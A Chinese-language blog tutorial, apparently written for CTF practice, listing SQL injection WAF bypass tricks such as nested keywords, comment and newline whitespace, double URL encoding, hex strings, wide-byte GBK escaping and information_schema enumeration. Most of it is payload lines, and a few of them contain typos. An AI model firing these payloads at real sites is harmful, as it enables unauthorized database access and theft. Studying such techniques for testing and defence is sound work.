SQL注入WAF绕过姿势
(1)大小写绕过
此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。
这里有道题
(2)替换关键字
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过
http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
(3)空格绕过
payload
select/**/*/**/from/**/yz;
select%0a*%0afrom%0ayz; %0a 是回车
/*!select*//*!**//*!from*//*!yz*/;
select(a)from(yz);
select(a)from(yz)where(a=1);
(4)替换关键字
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过
SELselectECT 1,2,3,4
(5)URL编码
有时后台界面会再次URL解码所以这时可以利用二次编码解决问题
后台语句
$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();
select * from yz
select * from %2579%257a
(6)十六进制绕过(引号绕过)
在SQL语句的数据区域可以采用十六进制绕过敏感词汇
select a from yz where b=0x32;
select * from yz where b=char(0x32);
select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
(7)逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。
substr(),mid()
mid(user() from 1 for 1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;
select ascii(substr(user() from 1 for 1)) < 150;
同时也可以利用替换函数
select left(database(),2)>'tf';
selete * from testtable limit 2,1;
selete * from testtable limit 2 offset 1;
(8)比较符(<,>)绕过
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32);#lpad('asd',2,0)
if(substr(id,1,1)in(0x41),1,3)
新学习了一种骚骚的注入姿势in、between、order by
select * from yz where a in ('aaa');
select substr(a,1,1) in ('a') from yz ;
select * from yz where a between 'a' and 'b';
select * from yz where a between 0x89 and 0x90;
select * from yz union select 1,2,3 order by 1;
也可以用like,根据排列顺序进行真值判断
(9)注释符绕过
在注入时的注释符一般为# --当两者不能用时就不能闭合引号
这里介绍一个奇淫巧技
select 1,2,3 from yz where '1'/1=(1=1)/'1'='1'
(1=1)中就有了判断位为下面的注入打下基础
(10)宽字节绕过
字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
注:`select`防止用户自定义的名称和mysql保留字冲突
(11)with rollup
一般结合group by使用
select 1 as test from yz group by test with rollup limit 1 offset 1;
+------+
| test |
+------+
| NULL |
+------+
(12)无列名注入
给未知列名起别名
select a from (select 1,2,3aunion select * from yz)v;
(13) 判断列数绕过
当order by 被过滤后就可以使用into 变量来绕过
select * from yz limit 1,1 into @a,@b,@c;
3.SQL注入知识
1.SQL越界 ,也就是能执行自己的sql语句
2.盲注的话找一个点可以控制两种不同的反应
3.取数据并做真值判断
4.写脚本暴库
上边是基于一般的注入题目的解题步骤,如果有特殊条件也可灵活变通
mysql数据库元信息
在mysql中存在information_schema是一个信息数据库,在这个数据库中保存了Mysql服务器所保存的所有的其他数据库的信息,如数据库名,数据库的表,表的字段名称
和访问权限。在informa_schema中常用的表有:
schemata:存储了mysql中所有的数据库信息,返回的内容与show databases的结果是一样的。
tables:存储了数据库中的表的信息。详细地描述了某个表属于哪个schema,表类型,表引擎。
show tables from secuiry的结果就是来自这个表
columns:详细地描述了某张表的所有的列以及每个列的信息。
show columns from users的结果就是来自这个表
select database(); #查选数据库
select group_concat(schema_name) from information_schema.schemata
select schema_name from information_schema.schemata limit 0,1 #查询数据库
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表
select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列
SQL注入WAF绕过姿势的更多相关文章
- sql注入waf绕过简单入门
0x1 白盒 0x2 黑盒 一.架构层 1.寻找源站==> 2.利用同网段==> 3.利用边界漏洞==> ssrf只是一个例子 二.资源限制 Waf为了保证业务运行,会忽略对大的数 ...
- Web安全之SQL注入(原理,绕过,防御)
首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要1 schemata:表里包含所有数据库的名字2 tables:表里包含所有数据库的所有的表,默 ...
- sql注入100种姿势过waf(二):过安全狗
仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 先去安全狗网站下载最新的安全狗版本 从官网下载 windwos apache版 v4.0.2395 最新版 数据库是mysql ...
- sql注入100种姿势过waf(一):waf 了解
仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 首先WAF(Web Application Firewall),俗称Web应用防火墙,主要的目的实际上是用来过滤不正常或者恶意请求包, ...
- sql注入用<>绕过被过滤的select ——百度杯9月第二场SQL
题目提示SQL注入,打开源代码发现<!--SELECT * FROM info WHERE id=1--> 尝试union select 1,2,3提示inj code! 经过多次尝试之后 ...
- 登陆页面Sql注入(绕过)
如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对 ...
- SQL注入的绕过
一.常用符号的绕过 1.空格 1 空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 2 括号绕过:常用于基于时间延迟的盲注,例如构造语句: ?id=1 ...
- mysql sql注入getshell新姿势
sql.php?sql=1'报错信息为:1064:You have an error in your SQL syntax; check the manual that corresponds to ...
- sql注入常见绕过技巧
参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313 https://www.cnblogs.com/vincy99/p/9 ...
随机推荐
- Failed connect to mirrors.cloud.aliyuncs.com:80
在yum insatall 安装是报错 Failed connect to mirrors.cloud.aliyuncs.com:80; Connection refused 解决方法: cd /et ...
- 利用.NET 5和Github Action 自动执行米游社原神每日签到福利
背景 众所周知,原神的签到福利是需要下载app才可以领取的.但像我这种一般不怎么刷论坛的人,每天点开app签到很麻烦. 很多大佬利用Github的Action自动执行的模式,实现了很多好东西.加上.n ...
- JVM初识
先来看一张图 首先jvm是什么? jvm是java运行环境的一部分,是一种以软件模式虚拟出来的一个计算机系统. 如上图所示,JVM 主要分为三个子系统:类加载器.运行时数据区和执行引擎. 类加载器子系 ...
- less和more的区别
more: 顾名思义显示更多less: 由于more不能后退,就取more的反义词less加上后退功能所以Linux里流传着这样一句话:"less is more". 总结下mor ...
- C# 中的本地函数
今天我们来聊一聊 C# 中的本地函数.本地函数是从 C# 7.0 开始引入,并在 C# 8.0 和 C# 9.0 中加以完善的. 引入本地函数的原因 我们来看一下微软 C# 语言首席设计师 Mads ...
- 如何调整MathType公式的字体大小
作为一名理科生,想必大家都在为编辑公式而烦恼,在Word中要想完美插入公式,还真不是那么简单的.首先要使用专业的公式编辑器MathType,其次还要对公式的大小进行修改,这样才能看起来是相融合的文章. ...
- ABBYY FineReader 15 PDF文档查看功能
PDF文档查看功能是ABBYY FineReader 15(Windows系统)OCR文字识别软件中PDF编辑器的一项基础功能,可供用户查看,搜索PDF文档,无需进入编辑模式,也可复制其中的文本,图片 ...
- 用CorelDRAW来制作产品结构图的方法
一.产品结构图的重要性 随着我国经济不断的高速发展,大家的生活水平不断提高,我们将会在生活生产中越来越多的,遇到许多各种各样的生产产品和生活消费品.科技的飞速进步,更是使这些产品.消费品包含了很强的科 ...
- macbook上安装虚拟机软件如何操作?
很多用户都不太熟悉苹果系统,用惯了Windows之后再过渡到MacOS难免会有些不习惯.为了使我们又可以用回那些熟悉的Windows应用,比较常见的办法就是安装macbook虚拟机.下面小编就教大家一 ...
- ntfs和fat32的区别
ntfs和fat32是两种不同的磁盘文件系统格式,虽然他们有一定的相似点,但还是具有很大的差异.今天,小编就带大家了解一下ntfs和fat32的区别. 图1 :u盘 一.分区容量 fat32能够有效管 ...